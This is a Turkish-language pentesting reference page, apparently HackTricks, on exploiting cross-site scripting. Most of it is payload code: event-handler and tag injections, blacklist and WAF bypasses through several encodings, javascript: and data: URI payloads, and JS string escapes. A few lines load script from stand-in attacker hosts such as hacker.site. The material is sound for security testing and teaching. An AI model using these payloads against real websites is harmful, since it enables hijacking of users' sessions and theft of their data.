hacktricks/pentesting-web/xss-cross-site-scripting
2024-04-17 05:40:04 +00:00
..
abusing-service-workers.md Translated ['forensics/basic-forensic-methodology/partitions-file-system 2024-03-26 15:52:57 +00:00
chrome-cache-to-xss.md Translated to Turkish 2024-02-10 18:14:16 +00:00
debugging-client-side-js.md Translated ['README.md', 'binary-exploitation/arbitrary-write-2-exec/REA 2024-04-07 03:13:19 +00:00
dom-clobbering.md Translated to Turkish 2024-02-10 18:14:16 +00:00
dom-invader.md Translated ['README.md', 'binary-exploitation/arbitrary-write-2-exec/REA 2024-04-07 03:13:19 +00:00
dom-xss.md Translated to Turkish 2024-02-10 18:14:16 +00:00
iframes-in-xss-and-csp.md Translated ['README.md', 'binary-exploitation/arbitrary-write-2-exec/REA 2024-04-07 03:13:19 +00:00
js-hoisting.md Translated to Turkish 2024-02-10 18:14:16 +00:00
other-js-tricks.md Translated ['README.md', 'binary-exploitation/arbitrary-write-2-exec/REA 2024-04-07 03:13:19 +00:00
pdf-injection.md Translated to Turkish 2024-02-10 18:14:16 +00:00
README.md Translated ['binary-exploitation/basic-binary-exploitation-methodology/t 2024-04-17 05:40:04 +00:00
server-side-xss-dynamic-pdf.md Translated to Turkish 2024-02-10 18:14:16 +00:00
shadow-dom.md Translated to Turkish 2024-02-10 18:14:16 +00:00
sniff-leak.md Translated to Turkish 2024-02-10 18:14:16 +00:00
some-same-origin-method-execution.md Translated to Turkish 2024-02-10 18:14:16 +00:00
steal-info-js.md Translated to Turkish 2024-02-10 18:14:16 +00:00
xss-in-markdown.md Translated to Turkish 2024-02-10 18:14:16 +00:00

XSS (Cross Site Scripting)

Eğer hacking kariyerine ilgi duyuyorsanız ve hacklenemez olanı hacklemek istiyorsanız - işe alıyoruz! (akıcı şekilde yazılı ve konuşma yapabilme yeteneği gereklidir).

{% embed url="https://www.stmcyber.com/careers" %}

Metodoloji

  1. Kontrol et herhangi bir değeri kontrol edebildiğiniz (parametreler, yol, başlıklar?, çerezler?) HTML'de yansıtılıp veya JS kodu tarafından kullanılıp kullanılmadığını.
  2. Yansıtıldığı/ kullanıldığı bağlamı bulun.
  3. Eğer yansıtılıyorsa
  4. Hangi sembolleri kullanabileceğinizi kontrol edin ve buna bağlı olarak payload'ı hazırlayın:
  5. Ham HTML içinde:
  6. Yeni HTML etiketleri oluşturabilir misiniz?
  7. javascript: protokolünü destekleyen olayları veya öznitelikleri kullanabilir misiniz?
  8. Korumaları atlayabilir misiniz?
  9. HTML içeriği herhangi bir istemci tarafı JS motoru tarafından yorumlanıyor mu (AngularJS, VueJS, Mavo...), İstemci Tarafı Şablon Enjeksiyonunu kötüye kullanabilirsiniz.
  10. JS kodunu çalıştıran bir HTML etiketi içinde:
  11. Ham HTML bağlamına çıkabilir misiniz?
  12. JS kodunu çalıştırmak için yeni olaylar/öznitelikler oluşturabilir misiniz?
  13. Sıkıştığınız özniteliği JS yürütmesini destekliyor mu?
  14. Korumaları atlayabilir misiniz?
  15. JS kodu içinde:
  16. <script> etiketinden kaçabilir misiniz?
  17. Diziyi kaçırabilir ve farklı JS kodunu yürütebilir misiniz?
  18. Girişiniz şablon dizelerinde mi ``?
  19. Korumaları atlayabilir misiniz?
  20. Yürütülen Javascript fonksiyonu
  21. Yürütülecek fonksiyonun adını belirtebilirsiniz. örn.: ?callback=alert(1)
  22. Eğer kullanılıyorsa:
  23. DOM XSS'i sömürebilirsiniz, girişinizin nasıl kontrol edildiğine ve girişinizin herhangi bir sızıntı tarafından kullanılıp kullanılmadığına dikkat edin.

Karmaşık bir XSS üzerinde çalışırken ilginç bulabileceğiniz şeyler hakkında bilgi sahibi olmak isteyebilirsiniz:

{% content-ref url="debugging-client-side-js.md" %} debugging-client-side-js.md {% endcontent-ref %}

Yansıtılan değerler

Bir XSS'yi başarılı bir şekilde sömürmek için bulmanız gereken ilk şey, web sayfasında yansıtılan sizin kontrol ettiğiniz bir değer olmalıdır.

  • Orta düzeyde yansıtılan: Bir parametrenin değerini veya hatta yolun yansıtıldığını bulursanız, bir Yansıtılan XSS'i sömürebilirsiniz.
  • Depolanmış ve yansıtılan: Siz tarafından kontrol edilen bir değerin sunucuda kaydedildiğini ve her sayfaya eriştiğinizde yansıtıldığını bulursanız, bir Depolanmış XSS'i sömürebilirsiniz.
  • JS aracılığıyla erişilen: Siz tarafından kontrol edilen bir değerin JS kullanılarak erişildiğini bulursanız, bir DOM XSS'i sömürebilirsiniz.

Bağlamlar

Bir XSS'yi sömürmeye çalışırken ilk olarak girişinizin nerede yansıtıldığını bilmelisiniz. Bağlama bağlı olarak, farklı yollarla keyfi JS kodunu yürütebilirsiniz.

Ham HTML

Eğer girişiniz ham HTML sayfasında yansıtılıyorsa, JS kodunu yürütmek için bazı HTML etiketlerini kötüye kullanmanız gerekecektir: <img , <iframe , <svg , <script ... bunlar sadece kullanabileceğiniz birkaç HTML etiketinden sadece bazılarıdır.
Ayrıca, İstemci Tarafı Şablon Enjeksiyonu'nu unutmayın.

HTML etiketlerinin özniteliği içinde

Eğer girişiniz bir etiketin özniteliği değerinde yansıtılıyorsa şunları deneyebilirsiniz:

  1. Özniteliğin ve etiketin içinden kaçın (o zaman ham HTML'de olacaksınız) ve kötüye kullanmak için yeni HTML etiketi oluşturun: "><img [...]
  2. Eğer öznitelikten kaçabilir ama etiketten kaçamıyorsanız (> kodlanmış veya silinmişse), etikete bağlı olarak JS kodunu yürüten bir olay oluşturabilirsiniz: " autofocus onfocus=alert(1) x="
  3. Eğer özniteliğin içinden kaçamıyorsanız (" kodlanmış veya silinmişse), o zaman yansıtılan değerin hangi öznitelikte olduğuna bağlı olarak tüm değeri mi kontrol ediyorsunuz yoksa sadece bir kısmını mı kontrol ediyorsunuz, buna bağlı olarak kötüye kullanabilirsiniz. Örneğin, onclick= gibi bir olayı kontrol ediyorsanız, tıklanıldığında keyfi kodu yürütmesini sağlayabilirsiniz. Başka bir ilginç örnek ise href özniteliğidir, burada javascript: protokolünü kullanarak keyfi kodu yürütebilirsiniz: href="javascript:alert(1)"
  4. Eğer girişiniz "kötüye kullanılamayan etiketlerin içinde" yansıtılıyorsa, zafiyeti kötüye kullanmak için accesskey hilesini deneyebilirsiniz (bunu sömürmek için bir tür sosyal mühendise ihtiyacınız olacaktır): " accesskey="x" onclick="alert(1)" x="

Angular'ın garip bir örneği XSS yürütüyorsa ve bir sınıf adını kontrol ediyorsanız:

<div ng-app>
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
</div>

JavaScript kodu içinde

Bu durumda, girdiniz bir HTML sayfasının <script> [...] </script> etiketleri arasında, bir .js dosyasının içinde veya javascript: protokolünü kullanarak bir özniteliğin içinde yansıtılır:

  • Eğer girdi <script> [...] </script> etiketleri arasında yansıtılıyorsa, girdinizi herhangi bir tırnak içinde olsa bile </script> enjekte etmeyi deneyebilir ve bu bağlamdan kaçabilirsiniz. Bu, tarayıcının önce HTML etiketlerini ayrıştıracağı ve ardından içeriği ayrıştıracağı için, enjekte ettiğiniz </script> etiketinin HTML kodu içinde olduğunu fark etmeyecektir.
  • Eğer girdi bir JS dizesi içinde yansıtılıyorsa ve önceki hile işe yaramıyorsa, dizeden çıkmanız, kodunuzu çalıştırmanız ve JS kodunu yeniden oluşturmanız gerekecektir (herhangi bir hata olursa, bu çalıştırılmayacaktır):
    • '-alert(1)-'
    • ';-alert(1)//
    • \';alert(1)//
  • Eğer girdi template literal içinde yansıtılıyorsa, ${ ... } sözdizimini kullanarak JS ifadelerini yerleştirebilirsiniz: var greetings = `Merhaba, ${alert(1)}`
  • Unicode kodlaması, geçerli javascript kodu yazmak için çalışır:
\u{61}lert(1)
\u0061lert(1)
\u{0061}lert(1)

Javascript Hoisting

Javascript Hoisting, işlevleri, değişkenleri veya sınıfları kullanıldıktan sonra bildirme olanağını ifade eder, böylece XSS'in bildirilmemiş değişkenleri veya işlevleri kullandığı senaryoları kötüye kullanabilirsiniz.
Daha fazla bilgi için aşağıdaki sayfaya bakın:

{% content-ref url="js-hoisting.md" %} js-hoisting.md {% endcontent-ref %}

Javascript Function

Birçok web sayfasının çalıştırılacak işlevin adını parametre olarak kabul ettiği uç noktaları vardır. Vahşi doğada sıkça görülen bir örnek, genellikle şöyle bir şeydir: ?callback=callbackFunc.

Bir kullanıcının doğrudan verdiği bir şeyin çalıştırılmaya çalışıldığını anlamanın iyi bir yolu, parametre değerini değiştirmek (örneğin 'Vulnerable' olarak) ve konsolda şu gibi hatalara bakmaktır:

Eğer zayıfsa, sadece şu değeri göndererek bir uyarıyı tetikleyebilirsiniz: ?callback=alert(1). Ancak, bu uç noktaların genellikle yalnızca harfleri, rakamları, noktaları ve alt çizgileri ([\w\._]) izin vermek için içeriği doğrulayacağı çok yaygındır.

Ancak, bu sınırlamayla bile bazı işlemler gerçekleştirmek mümkündür. Bu, geçerli karakterleri kullanarak DOM'daki herhangi bir öğeye erişebileceğiniz anlamına gelir:

Bu işlem için bazı yararlı işlevler:

firstElementChild
lastElementChild
nextElementSibiling
lastElementSibiling
parentElement

Ayrıca Javascript fonksiyonlarını tetiklemeyi de deneyebilirsiniz: obj.sales.delOrders.

Ancak genellikle belirtilen fonksiyonu çalıştıran uç noktalar, pek ilginç DOM'a sahip olmayan uç noktalardır, aynı kökten diğer sayfalar daha fazla eylem gerçekleştirmek için daha ilginç bir DOM'a sahip olacaktır.

Bu nedenle, bu zafiyeti farklı bir DOM'da kötüye kullanmak için Aynı Kök Yöntem Yürütme (SOME) sömürüsü geliştirildi:

{% content-ref url="some-same-origin-method-execution.md" %} some-same-origin-method-execution.md {% endcontent-ref %}

DOM

Bir saldırganın, location.href gibi saldırgan tarafından kontrol edilen bazı verileri güvensiz bir şekilde kullanan JS kodu bulunmaktadır. Bir saldırgan, bu zafiyeti kötüye kullanarak keyfi JS kodu yürütebilir.

{% content-ref url="dom-xss.md" %} dom-xss.md {% endcontent-ref %}

Evrensel XSS

Bu tür XSS'ler her yerde bulunabilir. Bunlar sadece bir web uygulamasının istemci tarafından sömürülmesine bağlı değildir, herhangi bir bağlamda bulunabilirler. Bu tür keyfi JavaScript yürütme hatta RCE elde etmek, istemci ve sunucularda keyfi dosyaları okumak ve daha fazlasını elde etmek için kötüye kullanılabilir.
Bazı örnekler:

{% content-ref url="server-side-xss-dynamic-pdf.md" %} server-side-xss-dynamic-pdf.md {% endcontent-ref %}

{% content-ref url="../../network-services-pentesting/pentesting-web/electron-desktop-apps/" %} electron-desktop-apps {% endcontent-ref %}

WAF bypass encoding image

from https://twitter.com/hackerscrolls/status/1273254212546281473?s=21

Raw HTML içine enjekte etme

Girişiniz HTML sayfasının içinde yansıtıldığında veya bu bağlamda HTML kodunu kaçırabilir ve enjekte edebilirseniz, yeni etiketler oluşturmak için <'yi kötüye kullanıp kullanamayacağınızı kontrol etmeniz gereken ilk şey budur: Sadece o karakteri yansıtın ve HTML kodlamasına tabi tutulup tutulmadığını veya silinip silinmediğini veya değişiklik yapılmadan yansıtılıp yansıtılmadığını kontrol edin. Sadece son durumda bu durumu kötüye kullanabilirsiniz.
Bu durumlar için ayrıca İstemci Tarafı Şablon Enjeksiyonu'ı da göz önünde bulundurun.
_Not: Bir HTML yorumu **--> veya --!> kullanılarak kapatılabilir.

Bu durumda ve siyah/beyaz listeleme yapılmamışsa, şu gibi yükler kullanabilirsiniz:

<script>alert(1)</script>
<img src=x onerror=alert(1) />
<svg onload=alert('XSS')>

Ancak, etiket/özellik siyah/beyaz listeleme kullanılıyorsa, hangi etiketleri oluşturabileceğinizi zorlamalısınız.
Hangi etiketlerin izin verildiğini belirledikten sonra, bulunan geçerli etiketler içindeki özellikleri/etkinlikleri zorlamalı ve bağlamı nasıl saldırabileceğinizi görmelisiniz.

Etiketler/Etkinlikler zorlaması

https://portswigger.net/web-security/cross-site-scripting/cheat-sheet adresine gidin ve Etiketleri panoya kopyala düğmesine tıklayın. Ardından, hepsini Burp intruder kullanarak gönderin ve WAF tarafından zararlı bulunmayan herhangi bir etiketin keşfedilip keşfedilmediğini kontrol edin. Hangi etiketleri kullanabileceğinizi keşfettikten sonra, geçerli etiketleri kullanarak tüm etkinlikleri zorlayabilirsiniz (aynı web sayfasında Etkinlikleri panoya kopyala düğmesine tıklayın ve önceki işlemi aynı şekilde takip edin).

Özel etiketler

Geçerli bir HTML etiketi bulamadıysanız, özel bir etiket oluşturmayı deneyebilir ve JS kodunu onfocus özelliği ile çalıştırabilirsiniz. XSS isteğinde, sayfanın o nesneye odaklanmasını ve kodu çalıştırmasını sağlamak için URL'yi # ile bitirmeniz gerekmektedir:

/?search=<xss+id%3dx+onfocus%3dalert(document.cookie)+tabindex%3d1>#x

Kara Liste Atlatmaları

Eğer bir tür kara liste kullanılıyorsa, bazı saçma hilelerle bunu atlatmaya çalışabilirsiniz:

//Random capitalization
<script> --> <ScrIpT>
<img --> <ImG

//Double tag, in case just the first match is removed
<script><script>
<scr<script>ipt>
<SCRscriptIPT>alert(1)</SCRscriptIPT>

//You can substitude the space to separate attributes for:
/
/*%00/
/%00*/
%2F
%0D
%0C
%0A
%09

//Unexpected parent tags
<svg><x><script>alert('1'&#41</x>

//Unexpected weird attributes
<script x>
<script a="1234">
<script ~~~>
<script/random>alert(1)</script>
<script      ///Note the newline
>alert(1)</script>
<scr\x00ipt>alert(1)</scr\x00ipt>

//Not closing tag, ending with " <" or " //"
<iframe SRC="javascript:alert('XSS');" <
<iframe SRC="javascript:alert('XSS');" //

//Extra open
<<script>alert("XSS");//<</script>

//Just weird an unexpected, use your imagination
<</script/script><script>
<input type=image src onerror="prompt(1)">

//Using `` instead of parenthesis
onerror=alert`1`

//Use more than one
<<TexTArEa/*%00//%00*/a="not"/*%00///AutOFocUs////onFoCUS=alert`1` //

Uzunluk atlatma (küçük XSS'ler)

{% hint style="info" %} Farklı ortamlar için daha küçük XSS yükleri için buradan ve buradan payloadlar bulunabilir. {% endhint %}

<!-- Taken from the blog of Jorge Lajara -->
<svg/onload=alert``>
<script src=//aa.es>
<script src=//℡㏛.pw>

Sonuncusu, 5'e genişleyen 2 Unicode karakteri kullanmaktır: telsr
Bu karakterlerin daha fazlası burada bulunabilir.
Hangi karakterlerin ayrıştırıldığını kontrol etmek için buraya bakın.

XSS Tıklama - Clickjacking

Zafiyeti sömürmek için kullanıcının bir bağlantıya veya bir forma tıklaması gerekiyorsa, Clickjacking'i kötüye kullanmayı deneyebilirsiniz (sayfa zafiyetliyse).

İmkansız - Dangling Markup

Sadece bir HTML etiketi oluşturmanın ve JS kodunu yürütmek için bir özniteliği kullanmanın imkansız olduğunu düşünüyorsanız, Dangling Markup kontrol etmelisiniz çünkü zafiyeti JS kodu yürütmeden sömürebilirsiniz.

HTML etiketi içine enjekte etme

Etiketin içine/enjekte olma

Eğer bir HTML etiketinin içindeyseniz, deneyebileceğiniz ilk şey etiketten kaçmaktır ve JS kodunu yürütmek için önceki bölümde belirtilen bazı teknikleri kullanmaktır.
Eğer etiketten kaçamıyorsanız, JS kodunu yürütmek için etiketin içine yeni öznitelikler oluşturabilirsiniz, örneğin (bu örnekte çift tırnaklar özniteliğin içinden kaçmak için kullanıldığına dikkat edin, girişiniz doğrudan etiketin içine yansıtılıyorsa bunlara ihtiyacınız olmayacaktır):

" autofocus onfocus=alert(document.domain) x="
" onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t

Stil Olayları

<p style="animation: x;" onanimationstart="alert()">XSS</p>
<p style="animation: x;" onanimationend="alert()">XSS</p>

#ayload that injects an invisible overlay that will trigger a payload if anywhere on the page is clicked:
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.5);z-index: 5000;" onclick="alert(1)"></div>
#moving your mouse anywhere over the page (0-click-ish):
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.0);z-index: 5000;" onmouseover="alert(1)"></div>

Öznitelik İçinde

Öznitelikten kaçamıyor olsanız bile (" kodlanıyor veya siliniyor), hangi öznitelikte değerinizi yansıttığınıza bağlı olarak tüm değeri mi yoksa sadece bir kısmını mı kontrol ettiğinize bağlı olarak bunu kötüye kullanabilirsiniz. Örneğin, onclick= gibi bir olayı kontrol ediyorsanız, tıklanıldığında keyfi kodları çalıştırabilirsiniz.
Başka ilginç bir örnek ise href özniteliğidir, burada javascript: protokolünü kullanarak keyfi kodları çalıştırabilirsiniz: href="javascript:alert(1)"

HTML kodlama/URL kodlama kullanarak etkinlik içinde atlatma

HTML etiketlerinin öznitelik değerlerindeki HTML kodlanmış karakterler çalışma zamanında çözümlenir. Bu nedenle aşağıdaki gibi bir şey geçerli olacaktır (payload kalın olarak belirtilmiştir): <a id="author" href="http://none" onclick="var tracker='http://foo?&apos;-alert(1)-&apos;';">Geri Dön </a>

Her türlü HTML kodlamasının geçerli olduğunu unutmayın:

//HTML entities
&apos;-alert(1)-&apos;
//HTML hex without zeros
&#x27-alert(1)-&#x27
//HTML hex with zeros
&#x00027-alert(1)-&#x00027
//HTML dec without zeros
&#39-alert(1)-&#39
//HTML dec with zeros
&#00039-alert(1)-&#00039

<a href="javascript:var a='&apos;-alert(1)-&apos;'">a</a>
<a href="&#106;avascript:alert(2)">a</a>
<a href="jav&#x61script:alert(3)">a</a>

URL kodlamasının da çalışacağını unutmayın:

<a href="https://example.com/lol%22onmouseover=%22prompt(1);%20img.png">Click</a>

Unicode kodlaması kullanarak iç etkinliği atlamak

//For some reason you can use unicode to encode "alert" but not "(1)"
<img src onerror=\u0061\u006C\u0065\u0072\u0074(1) />
<img src onerror=\u{61}\u{6C}\u{65}\u{72}\u{74}(1) />

Özel Protokoller Özniteliğinde

Bazı yerlerde keyfi JS kodunu çalıştırmak için javascript: veya data: protokollerini kullanabilirsiniz. Bazıları kullanıcı etkileşimi gerektirirken bazıları gerektirmeyebilir.

javascript:alert(1)
JavaSCript:alert(1)
javascript:%61%6c%65%72%74%28%31%29 //URL encode
javascript&colon;alert(1)
javascript&#x003A;alert(1)
javascript&#58;alert(1)
&#x6a&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3aalert(1)
java        //Note the new line
script:alert(1)

data:text/html,<script>alert(1)</script>
DaTa:text/html,<script>alert(1)</script>
data:text/html;charset=iso-8859-7,%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%31%29%3c%2f%73%63%72%69%70%74%3e
data:text/html;charset=UTF-8,<script>alert(1)</script>
data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=
data:text/html;charset=thing;base64,PHNjcmlwdD5hbGVydCgndGVzdDMnKTwvc2NyaXB0Pg
data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==

Bu protokolleri enjekte edebileceğiniz yerler

Genel olarak javascript: protokolü, href özniteliğini kabul eden herhangi bir etikette kullanılabilir ve çok sayıda etikette src özniteliğini kabul eden (ancak <img) etiketlerinde kullanılabilir.

<a href="javascript:alert(1)">
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
<form action="javascript:alert(1)"><button>send</button></form>
<form id=x></form><button form="x" formaction="javascript:alert(1)">send</button>
<object data=javascript:alert(3)>
<iframe src=javascript:alert(2)>
<embed src=javascript:alert(1)>

<object data="data:text/html,<script>alert(5)</script>">
<embed src="data:text/html;base64,PHNjcmlwdD5hbGVydCgiWFNTIik7PC9zY3JpcHQ+" type="image/svg+xml" AllowScriptAccess="always"></embed>
<embed src="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg=="></embed>
<iframe src="data:text/html,<script>alert(5)</script>"></iframe>

//Special cases
<object data="//hacker.site/xss.swf"> .//https://github.com/evilcos/xss.swf
<embed code="//hacker.site/xss.swf" allowscriptaccess=always> //https://github.com/evilcos/xss.swf
<iframe srcdoc="<svg onload=alert(4);>">

Diğer obfuscation hileleri

Bu durumda, önceki bölümden HTML kodlaması ve Unicode kodlaması hilesi de geçerlidir çünkü bir öznitelik içindesiniz.

<a href="javascript:var a='&apos;-alert(1)-&apos;'">

Ayrıca, bu durumlar için başka güzel bir hile daha var: Girdiniz javascript:... içinde olsa bile URL kodlanmış olsa bile, çalıştırılmadan önce URL kodu çözümlenecektir. Dolayısıyla, dize içinden tek tırnak kullanarak kaçış yapmanız gerekiyorsa ve bunun URL kodlandığını görüyorsanız, önemli olmadığını hatırlayın, çalıştırma zamanında tek tırnak olarak yorumlanacaktır.

&apos;-alert(1)-&apos;
%27-alert(1)-%27
<iframe src=javascript:%61%6c%65%72%74%28%31%29></iframe>

Not almak için URLencode + HTMLencode'yi herhangi bir sırayla kullanmaya çalışırsanız çalışmayacak, ancak payload içinde karıştırabilirsiniz.

javascript: ile Hex ve Sekizlik kodu kullanma

iframe'ın src özniteliği içinde Hex ve Sekizlik kodu kullanabilirsiniz (en azından) JS'yi yürütmek için HTML etiketleri bildirmek için:

//Encoded: <svg onload=alert(1)>
// This WORKS
<iframe src=javascript:'\x3c\x73\x76\x67\x20\x6f\x6e\x6c\x6f\x61\x64\x3d\x61\x6c\x65\x72\x74\x28\x31\x29\x3e' />
<iframe src=javascript:'\74\163\166\147\40\157\156\154\157\141\144\75\141\154\145\162\164\50\61\51\76' />

//Encoded: alert(1)
// This doesn't work
<svg onload=javascript:'\x61\x6c\x65\x72\x74\x28\x31\x29' />
<svg onload=javascript:'\141\154\145\162\164\50\61\51' />

Ters sekme kapma

<a target="_blank" rel="opener"

Eğer target="_blank" ve rel="opener" özniteliklerini içeren bir <a href= etiketine herhangi bir URL enjekte edebilirseniz, bu davranışı sömürmek için aşağıdaki sayfayı kontrol edin:

{% content-ref url="../reverse-tab-nabbing.md" %} reverse-tab-nabbing.md {% endcontent-ref %}

Olay İşleyicileri Atlatma

Öncelikle yararlı "on" olay işleyicileri için bu sayfayı kontrol edin (https://portswigger.net/web-security/cross-site-scripting/cheat-sheet).
Eğer bu olay işleyicilerini oluşturmanızı engelleyen bir siyah liste varsa, aşağıdaki atlatmaları deneyebilirsiniz:

<svg onload%09=alert(1)> //No safari
<svg %09onload=alert(1)>
<svg %09onload%20=alert(1)>
<svg onload%09%20%28%2c%3b=alert(1)>

//chars allowed between the onevent and the "="
IExplorer: %09 %0B %0C %020 %3B
Chrome: %09 %20 %28 %2C %3B
Safari: %2C %3B
Firefox: %09 %20 %28 %2C %3B
Opera: %09 %20 %2C %3B
Android: %09 %20 %28 %2C %3B

"Kullanılamayan etiketlerde" XSS (gizli giriş, bağlantı, kanonik, meta)

buradan artık gizli girişlerle kötüye kullanım mümkün:

<button popvertarget="x">Click me</button>
<input type="hidden" value="y" popover id="x" onbeforetoggle=alert(1)>

Ve meta etiketlerinde:

<!-- Injection inside meta attribute-->
<meta name="apple-mobile-web-app-title" content=""Twitter popover id="newsletter" onbeforetoggle=alert(2) />
<!-- Existing target-->
<button popovertarget="newsletter">Subscribe to newsletter</button>
<div popover id="newsletter">Newsletter popup</div>

Buradan alıntı: Gizli bir özniteliğin içinde XSS yükü çalıştırabilirsiniz, kurbanı tuş kombinasyonuna basmaya ikna edebilirseniz. Firefox Windows/Linux'ta tuş kombinasyonu ALT+SHIFT+X ve OS X'te CTRL+ALT+X'dir. Erişim anahtar özniteliğinde farklı bir tuş kullanarak farklı bir tuş kombinasyonu belirleyebilirsiniz. İşte vektör:

<input type="hidden" accesskey="X" onclick="alert(1)">

XSS yükü şöyle olacaktır: " accesskey="x" onclick="alert(1)" x="

Kara Liste Atlatmaları

Farklı kodlama teknikleri kullanarak birçok hile bu bölümde zaten açıklandı. Nerede kullanabileceğinizi öğrenmek için geri dönün:

  • HTML kodlaması (HTML etiketleri)
  • Unicode kodlaması (geçerli JS kodu olabilir): \u0061lert(1)
  • URL kodlaması
  • Onaltılık ve Sekizlik kodlama
  • Veri kodlaması

HTML etiketleri ve öznitelikleri için Atlatmalar

Önceki bölümün Kara Liste Atlatmaları bölümünü okuyun.

JavaScript kodu için Atlatmalar

Aşağıdaki bölümün JavaScript kara liste atlatma teknikleri bölümünü okuyun.

CSS-Gadgets

Eğer web sitenin çok küçük bir bölümünde XSS bulursanız (belki alt bilgi kısmında bir onmouseover öğesi olan küçük bir bağlantı), bağlantının tetiklenme olasılığını maksimize etmek için o öğenin kapladığı alanı değiştirmeyi deneyebilirsiniz.

Örneğin, öğeye şu şekilde bazı stiller ekleyebilirsiniz: position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5

Ancak, WAF stil özniteliğini filtreliyorsa, CSS Stil Gadget'larını kullanabilirsiniz, bu yüzden örneğin bulduğunuzda

.test {display:block; color: blue; width: 100%}

ve

#someid {top: 0; font-family: Tahoma;}

Şimdi bağlantımızı değiştirebilir ve şu forma getirebilirsiniz

<a href="" id=someid class=test onclick=alert() a="">

Bu hile https://medium.com/@skavans_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703 adresinden alınmıştır.

JavaScript kodu içine Enjekte Etme

Bu durumda girdiniz, bir .js dosyasının veya <script>...</script> etiketlerinin içinde veya JS kodunu yürütebilen HTML etkinlikleri arasında veya javascript: protokolünü kabul eden öznitelikler arasında JS kodunun içinde yansıtılacaktır.

<script> etiketinden kaçma

Kodunuz <script> [...] var input = 'yansıtılan veri' [...] </script> içine yerleştirilmişse, kolayca <script> etiketini kapatıp kaçabilirsiniz:

</script><img src=1 onerror=alert(document.domain)>

Bu örnekte bile tek tırnak kapatılmamış. Bu, tarayıcı tarafından önce HTML ayrıştırmasının gerçekleştirilmesinden kaynaklanmaktadır, bu işlem sayfa elemanlarını tanımlamayı içerir, içinde betik blokları da dahil olmak üzere. Gömülü betikleri anlamak ve yürütmek için JavaScript'in ayrıştırılması ancak daha sonra gerçekleştirilir.

JS kodu içinde

Eğer <> temizleniyorsa, girişinizin bulunduğu yeri kaçırabilir ve keyfi JS yürütebilirsiniz. JS sözdizimini düzeltmek önemlidir, çünkü hata varsa, JS kodu yürütülmeyecektir:

'-alert(document.domain)-'
';alert(document.domain)//
\';alert(document.domain)//

Şablon dizileri ``

Tek tırnak ve çift tırnaklar dışında diziler oluşturmak için JS ayrıca ters tırnakları `` kabul eder. Bu, gömülü JS ifadelerini ${ ... } sözdizimini kullanarak yerleştirmenize olanak tanıdığı için şablon dizileri olarak bilinir.
Bu nedenle, girdinizin ters tırnak kullanan bir JS dizesi içinde yansıtıldığını fark ederseniz, ${ ... } sözdizimini kullanarak keyfi JS kodunu yürütmek için sözdizimini kötüye kullanabilirsiniz:

Bunu kullanarak kötüye kullanılabilir:

`${alert(1)}`
`${`${`${`${alert(1)}`}`}`}`
// This is valid JS code, because each time the function returns itself it's recalled with ``
function loop(){return loop}
loop``````````````

Kodun Kodlanmış Yürütülmesi

<script>\u0061lert(1)</script>
<svg><script>alert&lpar;'1'&rpar;
<svg><script>&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;</script></svg>  <!-- The svg tags are neccesary
<iframe srcdoc="<SCRIPT>&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;</iframe>">

Unicode Kodlu JS Yürütme

\u{61}lert(1)
\u0061lert(1)
\u{0061}lert(1)

JavaScript siyah listeleri atlatma teknikleri

Dizeler

"thisisastring"
'thisisastrig'
`thisisastring`
/thisisastring/ == "/thisisastring/"
/thisisastring/.source == "thisisastring"
"\h\e\l\l\o"
String.fromCharCode(116,104,105,115,105,115,97,115,116,114,105,110,103)
"\x74\x68\x69\x73\x69\x73\x61\x73\x74\x72\x69\x6e\x67"
"\164\150\151\163\151\163\141\163\164\162\151\156\147"
"\u0074\u0068\u0069\u0073\u0069\u0073\u0061\u0073\u0074\u0072\u0069\u006e\u0067"
"\u{74}\u{68}\u{69}\u{73}\u{69}\u{73}\u{61}\u{73}\u{74}\u{72}\u{69}\u{6e}\u{67}"
"\a\l\ert\(1\)"
atob("dGhpc2lzYXN0cmluZw==")
eval(8680439..toString(30))(983801..toString(36))

Özel kaçışlar

'\b' //backspace
'\f' //form feed
'\n' //new line
'\r' //carriage return
'\t' //tab
'\b' //backspace
'\f' //form feed
'\n' //new line
'\r' //carriage return
'\t' //tab
// Any other char escaped is just itself

JS kodu içindeki boşluk yerine geçen karakterler

<TAB>
/**/

JavaScript yorumları (JavaScript Yorumları numarasından hile)

//This is a 1 line comment
/* This is a multiline comment*/
<!--This is a 1line comment
#!This is a 1 line comment, but "#!" must to be at the beggining of the first line
-->This is a 1 line comment, but "-->" must to be at the beggining of the first line

